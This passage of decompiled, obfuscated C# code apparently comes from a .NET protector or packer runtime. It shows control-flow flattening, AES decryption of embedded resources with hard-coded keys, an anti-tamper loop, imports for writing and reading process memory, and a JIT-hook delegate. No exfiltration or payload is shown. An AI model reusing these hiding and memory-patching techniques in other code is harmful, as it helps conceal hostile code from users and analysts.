goto label_285;
else
goto case 176;
case 266:
num7 = 153 - 51;
num5 = 136;
if (true)
goto label_285;
else
goto case 180;
case 267:
numArray2[4] = (byte) (154 - 51);
num5 = 250;
if (true)
goto label_285;
else
goto case 243;
case 268:
num6 = 224 - 74;
num5 = 79;
goto label_285;
case 269:
numArray2[26] = (byte) num6;
num1 = 141;
continue;
case 270:
num6 = 50 - 24;
goto case 269;
case 272:
num4 = 205 - 105;
num5 = 336;
if (!ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi())
goto label_285;
else
goto case 352;
case 273:
numArray2[24] = (byte) (107 + 12);
num5 = 331;
goto label_285;
case 274:
numArray1[15] = (byte) (125 - 41);
num1 = 305;
continue;
case 275:
numArray2[3] = (byte) (178 - 118);
num1 = 353;
continue;
case 276:
numArray2[15] = (byte) num6;
num8 = 298;
break;
case 277:
numArray2[20] = (byte) (154 + 1);
num1 = 94;
continue;
case 278:
numArray2[1] = (byte) (79 + 41);
num5 = 89;
goto label_285;
case 279:
numArray2[12] = (byte) (83 + 4);
num1 = 109;
continue;
case 280:
numArray2[17] = (byte) num6;
num1 = 86;
continue;
case 281:
numArray1[1] = (byte) num7;
num5 = 294;
if (ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT())
goto label_285;
else
goto case 27;
case 282:
numArray2[29] = (byte) num4;
num1 = 143;
continue;
case 283:
numArray1[10] = (byte) (109 + 120);
num5 = 335;
goto label_285;
case 284:
numArray1[5] = (byte) (204 - 68);
num5 = 18;
goto label_285;
case 285:
num4 = 115 + 95;
num5 = 333;
if (!ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi())
goto label_285;
else
goto case 242;
case 286:
ipbpJ7ihfEneDowwMq.rTOc8Bh2n9u5XmTdKI((object) binaryReader);
num5 = 26;
if (true)
goto label_285;
else
goto case 295;
case 287:
num4 = 92 + 101;
num5 = 251;
goto label_285;
case 288:
numArray1[12] = (byte) (112 + 97);
num5 = 144;
goto label_285;
case 289:
num3 = 136 - 45;
num5 = 155;
goto label_285;
case 290:
numArray2[10] = (byte) num6;
num8 = 322;
break;
case 291:
numArray2[15] = (byte) (121 + 21);
num8 = 193;
break;
case 292:
numArray1[9] = (byte) num3;
num5 = 231;
goto label_285;
case 293:
numArray2[9] = (byte) num4;
num8 = 14;
break;
case 294:
numArray1[2] = (byte) (138 - 46);
num5 = 218;
if (!ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi())
goto label_285;
else
goto case 54;
case 295:
num6 = 30 + 103;
num5 = 12;
if (ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi())
goto case 66;
else
goto label_285;
case 296:
num6 = 194 - 84;
num1 = 347;
continue;
case 297:
numArray1[0] = (byte) (76 + 11);
num8 = 56;
break;
case 298:
numArray2[16] = (byte) (116 + 118);
num1 = 82;
continue;
case 299:
numArray2[31] = (byte) num6;
num1 = 27;
continue;
case 300:
numArray1[7] = (byte) num7;
num1 = 55;
continue;
case 301:
num4 = 187 - 62;
num5 = 142;
if (ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT())
goto label_285;
else
goto case 97;
case 302:
num4 = 141 + 0;
num1 = 172;
continue;
case 303:
numArray1[8] = (byte) (137 - 45);
num5 = 151;
if (true)
goto label_285;
else
goto case 287;
case 304:
numArray4[3] = numArray5[1];
num5 = 199;
goto label_285;
case 305:
numArray1[15] = (byte) (95 + 3);
num5 = 343;
if (true)
goto label_285;
else
goto case 230;
case 306:
numArray2[19] = (byte) (142 - 48);
num5 = 36;
if (true)
goto label_285;
else
goto case 26;
case 307:
num4 = 84 + 24;
num5 = 19;
goto label_285;
case 308:
numArray2[9] = (byte) num6;
num1 = 174;
continue;
case 309:
numArray2[25] = (byte) (151 + 85);
num5 = 153;
goto label_285;
case 310:
numArray1[0] = (byte) num7;
num8 = 21;
break;
case 311:
numArray1[11] = (byte) num7;
num5 = 76;
if (!ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi())
goto label_285;
else
goto case 301;
case 312:
num4 = 249 - 83;
num8 = 350;
break;
case 313:
num4 = 25 + 124;
num1 = 184;
continue;
case 314:
numArray1[12] = (byte) (34 + 106);
num5 = 131;
if (!ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT())
goto case 47;
else
goto label_285;
case 315:
num4 = 113 + 88;
num5 = 5;
goto label_285;
case 316:
ipbpJ7ihfEneDowwMq.LT6B8GTWy = (byte[]) ipbpJ7ihfEneDowwMq.FvKcNpRcJ65EZLKmVC((object) memoryStream);
num8 = 103;
break;
case 317:
num3 = 197 - 108;
num8 = 241;
break;
case 318:
num7 = 193 - 119;
num1 = 122;
continue;
case 319:
ipbpJ7ihfEneDowwMq.ddmJHFyq7nfYQi3JWS(true);
num8 = 349;
break;
case 320:
numArray2[29] = (byte) num6;
num5 = 337;
goto label_285;
case 321:
numArray2[26] = (byte) num6;
num5 = 270;
goto label_285;
case 322:
numArray2[10] = (byte) (61 + 107);
num8 = 4;
break;
case 324:
num6 = 228 - 76;
num8 = 57;
break;
case 325:
numArray2[18] = (byte) (72 + 18);
num5 = 242;
goto label_285;
case 326:
num4 = 244 - 81;
num1 = 41;
continue;
case 327:
numArray1[15] = (byte) num7;
num5 = 274;
if (true)
goto label_285;
else
goto case 214;
case 328:
numArray1[5] = (byte) num7;
num8 = 351;
break;
case 329:
numArray2[21] = (byte) (154 - 51);
num5 = 330;
if (ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT())
goto label_285;
else
goto case 292;
case 330:
num6 = 129 + 26;
num5 = 58;
goto label_285;
case 331:
numArray2[24] = (byte) (150 - 50);
num1 = 214;
continue;
case 332:
numArray1[4] = (byte) (57 - 18);
num8 = 154;
break;
case 333:
numArray2[25] = (byte) num4;
num5 = 309;
if (true)
goto label_285;
else
goto case 13;
case 334:
num3 = 176 - 58;
num5 = 292;
if (!ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi())
goto label_285;
else
goto case 277;
case 335:
numArray1[10] = (byte) (155 - 51);
num5 = 356;
if (true)
goto label_285;
else
goto case 124;
case 336:
numArray2[17] = (byte) num4;
num5 = 106;
if (true)
goto label_285;
else
goto case 283;
case 337:
num4 = 152 - 101;
num8 = 282;
break;
case 338:
numArray1[10] = (byte) num3;
num5 = 99;
if (true)
goto label_285;
else
goto case 262;
case 339:
numArray2[21] = (byte) num6;
num5 = 64;
goto label_285;
case 340:
numArray2[28] = (byte) (86 + 106);
num8 = 123;
break;
case 341:
num4 = 16 + 85;
num5 = 6;
if (true)
goto label_285;
else
goto case 210;
case 342:
numArray2[28] = (byte) (248 - 82);
num5 = 161;
if (true)
goto label_285;
else
goto case 161;
case 343:
num7 = 189 + 57;
num8 = 249;
break;
case 344:
numArray1[4] = (byte) (236 - 78);
num8 = 237;
break;
case 345:
numArray2[30] = (byte) (97 + 97);
num5 = 245;
if (!ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi())
goto label_285;
else
goto case 156;
case 346:
numArray1[5] = (byte) (100 + 24);
num5 = 284;
goto label_285;
case 347:
numArray2[10] = (byte) num6;
num5 = 326;
if (!ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT())
goto case 10;
else
goto label_285;
case 348:
cryptoStream = new CryptoStream((Stream) memoryStream, transform, CryptoStreamMode.Write);
num5 = 195;
if (true)
goto label_285;
else
goto case 109;
case 349:
numArray6 = (byte[]) ipbpJ7ihfEneDowwMq.iRCSDHt74AeHFZITAR((object) binaryReader, (int) ipbpJ7ihfEneDowwMq.j2VMnHAH1UoTkKPvt7(ipbpJ7ihfEneDowwMq.LlojKQVnfNSQ01Je0j((object) binaryReader)));
num5 = 209;
if (ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT())
goto label_285;
else
goto case 238;
case 350:
numArray2[10] = (byte) num4;
num8 = 160;
break;
case 351:
numArray1[6] = (byte) (226 - 75);
num1 = 186;
continue;
case 352:
num7 = 39 + 87;
num1 = 311;
continue;
case 353:
numArray2[4] = (byte) (45 + 12);
num1 = 162;
continue;
case 354:
num6 = 17 + 86;
num5 = 321;
goto label_285;
case 355:
num4 = 221 - 73;
num1 = 260;
continue;
case 356:
num7 = 63 + 83;
num5 = 259;
if (true)
goto label_285;
else
goto case 261;
case 357:
goto label_361;
default:
num8 = 269;
break;
}
num5 = num8;
label_285:
num1 = num5;
}
label_361:
try
{
return (string) ipbpJ7ihfEneDowwMq.j0g7ZrOlP6YMtSaevP(ipbpJ7ihfEneDowwMq.fC3s0i4K5YeQ3tSWgB(), (object) ipbpJ7ihfEneDowwMq.LT6B8GTWy, obj0 + 4, num2);
}
catch
{
}
return "";
}
[ipbpJ7ihfEneDowwMq.JwYEnSc81hR3TvfVIJ(typeof (ipbpJ7ihfEneDowwMq\u002FJwYEnSc81hR3TvfVIJ\u002FicKkQjnI65gbY41SDo<object>[]))]
[MethodImpl(MethodImplOptions.NoInlining)]
internal static string t7NcJDnVj([In] string obj0)
{
"{11111-22222-50001-00000}".Trim();
byte[] bytes = Convert.FromBase64String(obj0);
return Encoding.Unicode.GetString(bytes, 0, bytes.Length);
}
[DllImport("kernel32.dll", EntryPoint = "RtlZeroMemory")]
private static extern void Wkvo4iblj([In] IntPtr obj0, [In] uint obj1);
[DllImport("kernel32.dll", EntryPoint = "VirtualProtect", SetLastError = true)]
private static extern int pSkwnUMC6([In] ref IntPtr obj0, [In] int obj1, [In] int obj2, [In] ref int obj3);
[DllImport("kernel32.dll", EntryPoint = "FindResource")]
public static extern IntPtr uRi48v6hX([In] IntPtr obj0, [In] string obj1, [In] uint obj2);
[MethodImpl(MethodImplOptions.NoInlining)]
private static void hLvbh8FU4()
{
}
[MethodImpl(MethodImplOptions.NoInlining)]
private static void kGhsL2OX8()
{
try
{
RSACryptoServiceProvider.UseMachineKeyStore = true;
}
catch
{
}
}
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object NEVIox1lw([In] object obj0)
{
try
{
if (File.Exists(((Assembly) obj0).Location))
return (object) ((Assembly) obj0).Location;
}
catch
{
}
try
{
if (File.Exists(((Assembly) obj0).GetName().CodeBase.ToString().Replace("file:///", "")))
return (object) ((Assembly) obj0).GetName().CodeBase.ToString().Replace("file:///", "");
}
catch
{
}
try
{
if (File.Exists(obj0.GetType().GetProperty("Location").GetValue(obj0, new object[0]).ToString()))
return (object) obj0.GetType().GetProperty("Location").GetValue(obj0, new object[0]).ToString();
}
catch
{
}
return (object) "";
}
[DllImport("kernel32", EntryPoint = "LoadLibrary")]
public static extern IntPtr zxxLem0cb([In] string obj0);
[DllImport("kernel32", EntryPoint = "GetProcAddress", CharSet = CharSet.Ansi)]
public static extern IntPtr ISpfOdUvM([In] IntPtr obj0, [In] string obj1);
[DllImport("kernel32.dll", EntryPoint = "WriteProcessMemory")]
private static extern int YIhNbmgB5(
[In] IntPtr obj0,
[In] IntPtr obj1,
[In, Out] byte[] _param2,
[In] uint obj3,
out IntPtr _param4);
[DllImport("kernel32.dll", EntryPoint = "ReadProcessMemory")]
private static extern int AQC2cEYcO(
[In] IntPtr obj0,
[In] IntPtr obj1,
[In, Out] byte[] _param2,
[In] uint obj3,
out IntPtr _param4);
[DllImport("kernel32.dll", EntryPoint = "VirtualProtect")]
private static extern int Bp6uEib9a([In] IntPtr obj0, [In] int obj1, [In] int obj2, [In] ref int obj3);
[DllImport("kernel32.dll", EntryPoint = "OpenProcess")]
private static extern IntPtr GW0FcYqKn([In] uint obj0, [In] int obj1, [In] uint obj2);
[DllImport("kernel32.dll", EntryPoint = "CloseHandle")]
private static extern int ipYyd3jGX([In] IntPtr obj0);
[ipbpJ7ihfEneDowwMq.JwYEnSc81hR3TvfVIJ(typeof (ipbpJ7ihfEneDowwMq\u002FJwYEnSc81hR3TvfVIJ\u002FicKkQjnI65gbY41SDo<object>[]))]
[MethodImpl(MethodImplOptions.NoInlining)]
private static byte[] VHjEZZLfD([In] string obj0)
{
byte[] buffer;
using (FileStream fileStream = new FileStream(obj0, FileMode.Open, FileAccess.Read, FileShare.Read))
{
int offset = 0;
int length = (int) fileStream.Length;
buffer = new byte[length];
int num;
for (; length > 0; length -= num)
{
num = fileStream.Read(buffer, offset, length);
offset += num;
}
}
return buffer;
}
[ipbpJ7ihfEneDowwMq.JwYEnSc81hR3TvfVIJ(typeof (ipbpJ7ihfEneDowwMq\u002FJwYEnSc81hR3TvfVIJ\u002FicKkQjnI65gbY41SDo<object>[]))]
[MethodImpl(MethodImplOptions.NoInlining)]
private static byte[] BSonNeHRr([In] byte[] obj0)
{
MemoryStream memoryStream = new MemoryStream();
Rijndael rijndael = Rijndael.Create();
rijndael.Key = new byte[32]
{
(byte) 89,
(byte) 1,
(byte) 179,
(byte) 88,
(byte) 204,
(byte) 62,
(byte) 43,
(byte) 1,
(byte) 63,
(byte) 183,
(byte) 50,
(byte) 185,
(byte) 21,
(byte) 60,
(byte) 106,
(byte) 95,
(byte) 250,
(byte) 166,
(byte) 195,
(byte) 229,
(byte) 231,
(byte) 122,
(byte) 80,
(byte) 105,
(byte) 11,
(byte) 4,
(byte) 16,
(byte) 196,
(byte) 225,
(byte) 155,
(byte) 28,
(byte) 6
};
rijndael.IV = new byte[16]
{
(byte) 63,
(byte) 93,
(byte) 15,
(byte) 132,
(byte) 209,
(byte) 229,
(byte) 94,
(byte) 68,
(byte) 41,
(byte) 4,
(byte) 73,
(byte) 186,
(byte) 213,
(byte) 99,
(byte) 144,
(byte) 124
};
CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, rijndael.CreateDecryptor(), CryptoStreamMode.Write);
cryptoStream.Write(obj0, 0, obj0.Length);
cryptoStream.Close();
return memoryStream.ToArray();
}
[MethodImpl(MethodImplOptions.NoInlining)]
private byte[] FZkt7J463() => (byte[]) null;
[MethodImpl(MethodImplOptions.NoInlining)]
private byte[] OEOYQ6TiD() => (byte[]) null;
[MethodImpl(MethodImplOptions.NoInlining)]
private byte[] RguZoX5oX() => "{11111-22222-20001-00001}".Length > 0 ? new byte[2]
{
(byte) 1,
(byte) 2
} : new byte[2]{ (byte) 1, (byte) 2 };
[MethodImpl(MethodImplOptions.NoInlining)]
private byte[] cq81nHjV1() => "{11111-22222-20001-00002}".Length > 0 ? new byte[2]
{
(byte) 1,
(byte) 2
} : new byte[2]{ (byte) 1, (byte) 2 };
[MethodImpl(MethodImplOptions.NoInlining)]
private byte[] Dw9XJEcEj() => "{11111-22222-30001-00001}".Length > 0 ? new byte[2]
{
(byte) 1,
(byte) 2
} : new byte[2]{ (byte) 1, (byte) 2 };
[MethodImpl(MethodImplOptions.NoInlining)]
private byte[] N2wDENi7q() => "{11111-22222-30001-00002}".Length > 0 ? new byte[2]
{
(byte) 1,
(byte) 2
} : new byte[2]{ (byte) 1, (byte) 2 };
[MethodImpl(MethodImplOptions.NoInlining)]
internal byte[] Jgp6XnAIY() => "{11111-22222-40001-00001}".Length > 0 ? new byte[2]
{
(byte) 1,
(byte) 2
} : new byte[2]{ (byte) 1, (byte) 2 };
[MethodImpl(MethodImplOptions.NoInlining)]
internal byte[] QA7ap6b72() => "{11111-22222-40001-00002}".Length > 0 ? new byte[2]
{
(byte) 1,
(byte) 2
} : new byte[2]{ (byte) 1, (byte) 2 };
[MethodImpl(MethodImplOptions.NoInlining)]
internal byte[] cX0Gy1j3W() => "{11111-22222-50001-00001}".Length > 0 ? new byte[2]
{
(byte) 1,
(byte) 2
} : new byte[2]{ (byte) 1, (byte) 2 };
[MethodImpl(MethodImplOptions.NoInlining)]
internal byte[] nKxO7X9Av() => "{11111-22222-50001-00002}".Length > 0 ? new byte[2]
{
(byte) 1,
(byte) 2
} : new byte[2]{ (byte) 1, (byte) 2 };
[MethodImpl(MethodImplOptions.NoInlining)]
public ipbpJ7ihfEneDowwMq()
{
}
[MethodImpl(MethodImplOptions.NoInlining)]
internal static Type gRaxCfNbl5AQe5DMfO([In] RuntimeTypeHandle obj0) => Type.GetTypeFromHandle(obj0);
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object goAOYvZXL8wyukgyhQ([In] object obj0, [In] object obj1) => (object) ((Assembly) obj0).GetManifestResourceStream((string) obj1);
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object LlojKQVnfNSQ01Je0j([In] object obj0) => (object) ((BinaryReader) obj0).BaseStream;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static void SKWIx9qaW1C58pM1Pu([In] object obj0, [In] long obj1) => ((Stream) obj0).Position = obj1;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static void ddmJHFyq7nfYQi3JWS([In] bool obj0) => RSACryptoServiceProvider.UseMachineKeyStore = obj0;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static long j2VMnHAH1UoTkKPvt7([In] object obj0) => ((Stream) obj0).Length;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object iRCSDHt74AeHFZITAR([In] object obj0, [In] int obj1) => (object) ((BinaryReader) obj0).ReadBytes(obj1);
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object EPNYDWvF335ihAr7rN([In] object obj0) => (object) ((Assembly) obj0).GetName();
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object HR5XCyB17Hq3My9rlK([In] object obj0) => (object) ((AssemblyName) obj0).GetPublicKeyToken();
[MethodImpl(MethodImplOptions.NoInlining)]
internal static void GognAflfqlgqlBeRPd([In] object obj0, [In] CipherMode obj1) => ((SymmetricAlgorithm) obj0).Mode = obj1;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object CEmlJVCjpTH21l1ajg([In] object obj0, [In] object obj1, [In] object obj2) => (object) ((SymmetricAlgorithm) obj0).CreateDecryptor((byte[]) obj1, (byte[]) obj2);
[MethodImpl(MethodImplOptions.NoInlining)]
internal static void XrJs8qbf0HSo6NC9rB([In] object obj0, [In] object obj1, [In] int obj2, [In] int obj3) => ((Stream) obj0).Write((byte[]) obj1, obj2, obj3);
[MethodImpl(MethodImplOptions.NoInlining)]
internal static void kT2w7oSkjFmtlwVDfA([In] object obj0) => ((CryptoStream) obj0).FlushFinalBlock();
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object FvKcNpRcJ65EZLKmVC([In] object obj0) => (object) ((MemoryStream) obj0).ToArray();
[MethodImpl(MethodImplOptions.NoInlining)]
internal static void TCk8nx5K0V5hBA635R([In] object obj0) => ((Stream) obj0).Close();
[MethodImpl(MethodImplOptions.NoInlining)]
internal static void rTOc8Bh2n9u5XmTdKI([In] object obj0) => ((BinaryReader) obj0).Close();
[MethodImpl(MethodImplOptions.NoInlining)]
internal static int UqCD6r9d9Kmjenv2O1([In] object obj0, [In] int obj1) => BitConverter.ToInt32((byte[]) obj0, obj1);
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object fC3s0i4K5YeQ3tSWgB() => (object) Encoding.Unicode;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object j0g7ZrOlP6YMtSaevP([In] object obj0, [In] object obj1, [In] int obj2, [In] int obj3) => (object) ((Encoding) obj0).GetString((byte[]) obj1, obj2, obj3);
[MethodImpl(MethodImplOptions.NoInlining)]
internal static bool aCAHLdrJZCrPs9IteT() => true;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static bool uj96LEfUUtmyfr1Cqi() => false;
internal class JwYEnSc81hR3TvfVIJ : Attribute
{
[ipbpJ7ihfEneDowwMq.JwYEnSc81hR3TvfVIJ(typeof (ipbpJ7ihfEneDowwMq\u002FJwYEnSc81hR3TvfVIJ\u002FicKkQjnI65gbY41SDo<object>[]))]
[MethodImpl(MethodImplOptions.NoInlining)]
public JwYEnSc81hR3TvfVIJ([In] object obj0)
{
r6O22AEB3hooSSmKYs.eqJZdUAzZVtL9();
// ISSUE: explicit constructor call
base.\u002Ector();
}
internal class icKkQjnI65gbY41SDo<T>
{
[MethodImpl(MethodImplOptions.NoInlining)]
public icKkQjnI65gbY41SDo()
{
r6O22AEB3hooSSmKYs.eqJZdUAzZVtL9();
// ISSUE: explicit constructor call
base.\u002Ector();
}
}
}
internal class DRArki0VyJ4LHdfuGy
{
[ipbpJ7ihfEneDowwMq.JwYEnSc81hR3TvfVIJ(typeof (ipbpJ7ihfEneDowwMq\u002FJwYEnSc81hR3TvfVIJ\u002FicKkQjnI65gbY41SDo<object>[]))]
[MethodImpl(MethodImplOptions.NoInlining)]
internal static void ce4DmfsmSrOT856tDgfrkMb()
{
if (!(ipbpJ7ihfEneDowwMq.DRArki0VyJ4LHdfuGy.UifHKQbMXl(Convert.ToBase64String(typeof (ipbpJ7ihfEneDowwMq).Assembly.GetName().GetPublicKeyToken()), ipbpJ7ihfEneDowwMq.YHW3lrBiD(672)) != ipbpJ7ihfEneDowwMq.YHW3lrBiD(678)))
return;
while (true)
ipbpJ7ihfEneDowwMq.DRArki0VyJ4LHdfuGy.ce4DmfsmSrOT856tDgfrkMb();
}
[ipbpJ7ihfEneDowwMq.JwYEnSc81hR3TvfVIJ(typeof (ipbpJ7ihfEneDowwMq\u002FJwYEnSc81hR3TvfVIJ\u002FicKkQjnI65gbY41SDo<object>[]))]
[MethodImpl(MethodImplOptions.NoInlining)]
internal static string UifHKQbMXl([In] string obj0, [In] string obj1)
{
byte[] bytes = Encoding.Unicode.GetBytes(obj0);
byte[] numArray = new byte[32]
{
(byte) 82,
(byte) 102,
(byte) 104,
(byte) 110,
(byte) 32,
(byte) 77,
(byte) 24,
(byte) 34,
(byte) 118,
(byte) 181,
(byte) 51,
(byte) 17,
(byte) 18,
(byte) 51,
(byte) 12,
(byte) 109,
(byte) 10,
(byte) 32,
(byte) 77,
(byte) 24,
(byte) 34,
(byte) 158,
(byte) 161,
(byte) 41,
(byte) 97,
(byte) 28,
(byte) 118,
(byte) 181,
(byte) 5,
(byte) 25,
(byte) 1,
(byte) 88
};
byte[] hash = new MD5CryptoServiceProvider().ComputeHash(Encoding.Unicode.GetBytes(obj1));
MemoryStream memoryStream = new MemoryStream();
Rijndael rijndael = Rijndael.Create();
rijndael.Key = numArray;
rijndael.IV = hash;
CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, rijndael.CreateEncryptor(), CryptoStreamMode.Write);
cryptoStream.Write(bytes, 0, bytes.Length);
cryptoStream.Close();
return Convert.ToBase64String(memoryStream.ToArray());
}
[MethodImpl(MethodImplOptions.NoInlining)]
public DRArki0VyJ4LHdfuGy()
{
r6O22AEB3hooSSmKYs.eqJZdUAzZVtL9();
// ISSUE: explicit constructor call
base.\u002Ector();
}
}
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
internal delegate uint CufCTcNaeJCMHYwqJb(
[MarshalAs(UnmanagedType.U8)] ref ulong classthis,
IntPtr comp,
IntPtr info,
[MarshalAs(UnmanagedType.U4)] uint flags,
ref IntPtr nativeEntry,
ref uint nativeSizeOfCode);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
private delegate IntPtr trkH9ohKFA2nBTDEyA();
internal struct APegFXvPLYMl32mF89
{
internal bool KBjHqJxZfW;
internal byte[] TEsHpwcAiF;
}
[Flags]
private enum FjTBkj80mVAKy8fNGK
{
}
}
}
Reference in New Issue Copy Permalink